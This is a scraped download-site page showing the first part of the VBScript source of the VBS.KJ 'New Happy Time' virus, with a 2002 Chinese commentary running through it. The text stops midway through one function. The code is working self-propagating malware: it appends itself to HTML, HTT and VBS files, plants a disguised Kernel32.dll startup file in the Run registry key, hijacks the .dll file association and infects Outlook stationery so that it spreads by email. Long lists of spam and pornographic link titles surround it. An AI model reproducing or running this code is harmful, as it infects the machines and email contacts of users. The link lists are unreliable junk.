亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? newhappytime.txt

?? 新歡樂時光源碼
?? TXT
?? 第 1 頁 / 共 2 頁
字號:
VBS.KJ[新歡樂時光病毒]源代碼分析[轉載]

'    Virus:   VBS.KJ 
'    Analyze by DanceFire (DanceFire@263.net) 
'    2002/7/10 
' 

Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk 
Sub KJ_start() 
    '    初始化變量 
    KJSetDim() 
    '    初始化環境 
    KJCreateMilieu() 
    '    感染本地或者共享上與html所在目錄 
    KJLikeIt() 
    '    通過vbs感染Outlook郵件模板 
    KJCreateMail() 
    '    進行病毒傳播 
    KJPropagate() 
End Sub 

'    函數:KJAppendTo(FilePath,TypeStr) 
'    功能:向指定類型的指定文件追加病毒 
'    參數: 
'        FilePath     指定文件路徑 
'        TypeStr      指定類型 
Function KJAppendTo(FilePath,TypeStr) 
    On Error Resume Next 
    '    以只讀方式打開指定文件 
    Set ReadTemp = FSO.OpenTextFile(FilePath,1) 
    '    將文件內容讀入到TmpStr變量中 
    TmpStr = ReadTemp.ReadAll 
    '    判斷文件中是否存在"KJ_start()"字符串,若存在說明已經感染,退出函數; 
    '    若文件長度小于1,也退出函數。 
    If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then 
        ReadTemp.Close 
        Exit Function 
    End If 
    '    如果傳過來的類型是"htt" 
    '        在文件頭加上調用頁面的時候加載KJ_start()函數; 
    '        在文件尾追加html版本的加密病毒體。 
    '    如果是"html" 
    '        在文件尾追加調用頁面的時候加載KJ_start()函數和html版本的病毒體; 
    '    如果是"vbs" 
    '        在文件尾追加vbs版本的病毒體 
    If TypeStr = "htt" Then 
        ReadTemp.Close 
        Set FileTemp = FSO.OpenTextFile(FilePath,2) 
        FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText 
        FileTemp.Close 
        Set FAttrib = FSO.GetFile(FilePath) 
        FAttrib.attributes = 34 
    Else 
        ReadTemp.Close 
        Set FileTemp = FSO.OpenTextFile(FilePath,8) 
        If TypeStr = "html" Then 
            FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText 
        ElseIf TypeStr = "vbs" Then 
            FileTemp.Write vbCrLf & VbsText 
        End If 
        FileTemp.Close 
    End If 
End Function 

'    函數:KJChangeSub(CurrentString,LastIndexChar) 
'    功能:改變子目錄以及盤符 
'    參數: 
'        CurrentString    當前目錄 
'        LastIndexChar    上一級目錄在當前路徑中的位置 
Function KJChangeSub(CurrentString,LastIndexChar) 
    '    判斷是否是根目錄 
    If LastIndexChar = 0 Then 
        '    如果是根目錄 
        '        如果是C:\,返回FinalyDisk盤,并將SubE置為0, 
        '        如果不是C:\,返回將當前盤符遞減1,并將SubE置為0 
        If Left(LCase(CurrentString),1) =< LCase("c") Then 
            KJChangeSub = FinalyDisk & ":\" 
            SubE = 0 
        Else 
            KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\" 
            SubE = 0 
        End If 
    Else 
        '    如果不是根目錄,則返回上一級目錄名稱 
        KJChangeSub = Mid(CurrentString,1,LastIndexChar) 
    End If 
End Function 

'    函數:KJCreateMail() 
'    功能:感染郵件部分 
Function KJCreateMail() 
    On Error Resume Next 
    '    如果當前執行文件是"html"的,就退出函數 
    If InWhere = "html" Then 
        Exit Function 
    End If 
    '    取系統盤的空白頁的路徑 
    ShareFile = Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm" 
    '    如果存在這個文件,就向其追加html的病毒體 
    '    否則生成含有病毒體的這個文件 
    If (FSO.FileExists(ShareFile)) Then 
        Call KJAppendTo(ShareFile,"html") 
    Else 
        Set FileTemp = FSO.OpenTextFile(ShareFile,2,true) 
        FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText 
        FileTemp.Close 
    End If 
    '    取得當前用戶的ID和OutLook的版本 
    DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID") 
    OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer") 
    '    激活信紙功能,并感染所有信紙 
    WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD" 
    Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile) 
    Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile) 
    WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD" 
    Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank") 
    Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank") 
    WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD" 
    Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank") 
    KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery") 
End Function 


'     函數:KJCreateMilieu() 
'     功能:創建系統環境 
Function KJCreateMilieu() 
    On Error Resume Next 
    TempPath = "" 
    '     判斷操作系統是NT/2000還是9X 
    If Not(FSO.FileExists(WinPath & "WScript.exe")) Then 
        TempPath = "system32\" 
    End If 
    '     為了文件名起到迷惑性,并且不會與系統文件沖突。 
    '     如果是NT/2000則啟動文件為system\Kernel32.dll 
    '     如果是9x啟動文件則為system\Kernel.dll 
    If TempPath = "system32\" Then 
        StartUpFile = WinPath & "SYSTEM\Kernel32.dll" 
    Else 
        StartUpFile = WinPath & "SYSTEM\Kernel.dll" 
    End If 
    '     添加Run值,添加剛才生成的啟動文件路徑 
    WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile 
    '    拷貝前期備份的文件到原來的目錄 
    FSO.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt" 
    FSO.CopyFile WinPath & "system32\kjwall.gif",WinPath & "system32\desktop.ini" 
    '    向%windir%\web\Folder.htt追加病毒體 
    Call KJAppendTo(WinPath & "web\Folder.htt","htt") 
    '    改變dll的MIME頭 
    '    改變dll的默認圖標 
    '    改變dll的打開方式 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\") 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",WinPath & TempPath & "WScript.exe ""%1"" %*" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}" 
    '    啟動時加載的病毒文件中寫入病毒體 
    Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true) 
    FileTemp.Write VbsText 
    FileTemp.Close 
End Function 

'    函數:KJLikeIt() 
'    功能:針對html文件進行處理,如果訪問的是本地的或者共享上的文件,將感染這個目錄 
Function KJLikeIt() 
    '    如果當前執行文件不是"html"的就退出程序 
    If InWhere <> "html" Then 
        Exit Function 
    End If 
    '    取得文檔當前路徑 
    ThisLocation = document.location 
    '    如果是本地或網上共享文件 
    If Left(ThisLocation, 4) = "file" Then 
        ThisLocation = Mid(ThisLocation,9) 
        '    如果這個文件擴展名不為空,在ThisLocation中保存它的路徑 
        If FSO.GetExtensionName(ThisLocation) <> "" then 
            ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation))) 
        End If 
        '    如果ThisLocation的長度大于3就尾追一個"\" 
        If Len(ThisLocation) > 3 Then 
            ThisLocation = ThisLocation & "\" 
        End If 
        '    感染這個目錄 
        KJummageFolder(ThisLocation) 
    End If 
End Function 

'    函數:KJMailReg(RegStr,FileName) 
'    功能:如果注冊表指定鍵值不存在,則向指定位置寫入指定文件名 
'    參數: 
'        RegStr       注冊表指定鍵值 
'        FileName     指定文件名 
Function KJMailReg(RegStr,FileName) 
    On Error Resume Next 
    '    如果注冊表指定鍵值不存在,則向指定位置寫入指定文件名 
    RegTempStr = WsShell.RegRead(RegStr) 
    If RegTempStr = "" Then 
        WsShell.RegWrite RegStr,FileName 
    End If 
End Function 

'    函數:KJOboSub(CurrentString) 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
洋洋成人永久网站入口| 91亚洲国产成人精品一区二区三| 国产精品 欧美精品| 欧美亚男人的天堂| 中文字幕 久热精品 视频在线 | 性久久久久久久久久久久| 久久精品理论片| 在线视频一区二区免费| 国产亚洲va综合人人澡精品| 奇米综合一区二区三区精品视频| 91首页免费视频| 国产午夜精品福利| 激情五月婷婷综合| 欧美日韩成人高清| 亚洲精品自拍动漫在线| 成人精品视频.| 精品乱码亚洲一区二区不卡| 性久久久久久久久| 欧美日韩精品欧美日韩精品| 国产精品每日更新在线播放网址| 国产一区二区三区国产| 日韩欧美第一区| 麻豆精品视频在线观看免费| 欧美精品日日鲁夜夜添| 亚洲线精品一区二区三区八戒| 成人av在线影院| 国产精品人人做人人爽人人添| 国产乱子轮精品视频| 日韩av一区二区三区四区| 国产午夜精品久久| 国产河南妇女毛片精品久久久| 欧美tickling挠脚心丨vk| 日本亚洲免费观看| 欧美电影影音先锋| 天堂一区二区在线| 欧美视频中文字幕| 日韩精品电影在线| 欧美精品三级日韩久久| 青草国产精品久久久久久| 91精品视频网| 久久精品二区亚洲w码| 日韩欧美国产一区在线观看| 久久精品国产精品亚洲红杏| 久久久蜜桃精品| 成人激情校园春色| 亚洲综合丝袜美腿| 91精品国产一区二区三区 | 日本一区二区三区免费乱视频| 国产成人综合亚洲网站| 自拍偷拍亚洲激情| 欧美在线综合视频| 日韩成人一级大片| www国产精品av| 91蜜桃免费观看视频| 亚洲18色成人| 国产香蕉久久精品综合网| 99久久精品久久久久久清纯| 亚洲va中文字幕| 国产三级精品三级在线专区| 91香蕉视频污| 蜜桃一区二区三区在线观看| 国产三区在线成人av| 91国偷自产一区二区使用方法| 丝袜美腿亚洲综合| 亚洲国产成人自拍| 欧美日韩国产中文| 国产在线播放一区| 一区二区三区视频在线看| 日韩视频永久免费| 色综合久久久久久久| 老司机精品视频在线| 亚洲欧洲另类国产综合| 日韩一区和二区| 91浏览器在线视频| 国产精品一线二线三线| 亚洲国产一区在线观看| 最新日韩在线视频| 精品久久人人做人人爽| 欧美午夜免费电影| 国产不卡高清在线观看视频| 日韩成人免费电影| 一区二区三区免费网站| 国产视频一区在线观看 | 精品美女在线播放| 欧美自拍偷拍午夜视频| 国产精品乡下勾搭老头1| 午夜国产精品一区| 国产精品国产三级国产| 久久中文字幕电影| 8v天堂国产在线一区二区| av成人动漫在线观看| 国产一区二区三区日韩| 午夜精品成人在线视频| 亚洲激情男女视频| 国产精品国产三级国产普通话99 | 狠狠色丁香婷综合久久| 亚洲成年人影院| 18成人在线观看| 国产精品系列在线| 国产亚洲欧美色| 精品国产91乱码一区二区三区 | 欧美亚洲一区三区| 91亚洲精品乱码久久久久久蜜桃| 色丁香久综合在线久综合在线观看| 国产精品主播直播| 国内精品伊人久久久久av一坑| 日本亚洲最大的色成网站www| 午夜精品爽啪视频| 天天色图综合网| 日韩激情一区二区| 亚洲高清一区二区三区| 一区二区三区.www| 亚洲欧美日韩国产综合| 亚洲人成精品久久久久久 | 日韩中文字幕亚洲一区二区va在线 | 蜜臀91精品一区二区三区| 日本不卡一区二区| 蜜臂av日日欢夜夜爽一区| 日本va欧美va欧美va精品| 石原莉奈在线亚洲三区| 日韩av二区在线播放| 久久成人av少妇免费| 久久99热99| 成人综合在线网站| 91小视频免费观看| 欧美日韩亚洲综合一区| 欧美美女网站色| 精品国产一区二区三区久久影院 | 欧美三区免费完整视频在线观看| 欧美性受xxxx| 欧美精品一二三| 欧美一级片在线观看| 欧美不卡在线视频| 中文在线免费一区三区高中清不卡| 国产视频一区不卡| 亚洲天堂2016| 午夜视频一区二区| 国产美女精品人人做人人爽| 顶级嫩模精品视频在线看| 99视频热这里只有精品免费| 在线观看日韩国产| 日韩免费视频线观看| 国产精品视频免费| 亚洲国产一二三| 国产精品综合网| 欧美三级电影精品| 久久久一区二区| 亚洲国产成人porn| 国产精品亚洲一区二区三区在线 | 国产福利电影一区二区三区| 91网站最新网址| 日韩欧美中文一区二区| 亚洲午夜影视影院在线观看| 日韩成人一级片| 懂色av中文字幕一区二区三区| 欧美在线视频你懂得| ww亚洲ww在线观看国产| 一区二区三国产精华液| 国产在线不卡视频| 欧美午夜精品理论片a级按摩| 精品国产91洋老外米糕| 亚洲国产精品精华液网站| 成人在线视频一区| 日韩三级伦理片妻子的秘密按摩| 亚洲欧美偷拍另类a∨色屁股| 麻豆视频一区二区| 在线观看日韩av先锋影音电影院| 精品国产一区二区三区久久久蜜月| 亚洲一区二区三区视频在线播放| 国产精品一区二区三区网站| 欧美色图一区二区三区| 最近日韩中文字幕| 国产成人亚洲精品青草天美| 欧美一区二区三区免费| 亚洲电影一区二区| 99久久er热在这里只有精品15| 精品国产乱码久久久久久闺蜜 | 国产成人超碰人人澡人人澡| 欧美一卡2卡三卡4卡5免费| 亚洲人成网站色在线观看| 成人性生交大片免费 | 日韩三级中文字幕| 香蕉久久夜色精品国产使用方法 | 成人爽a毛片一区二区免费| 精品噜噜噜噜久久久久久久久试看| 亚洲超碰精品一区二区| 色婷婷av一区| 亚洲美女一区二区三区| 91浏览器打开| 亚洲精品国产精品乱码不99| av毛片久久久久**hd| 亚洲国产成人在线| 成人av网站免费观看| 国产精品国产精品国产专区不片| 国产91综合一区在线观看| 欧美高清在线精品一区| 不卡的av网站| 亚洲人123区| 91麻豆.com| 亚洲第一av色|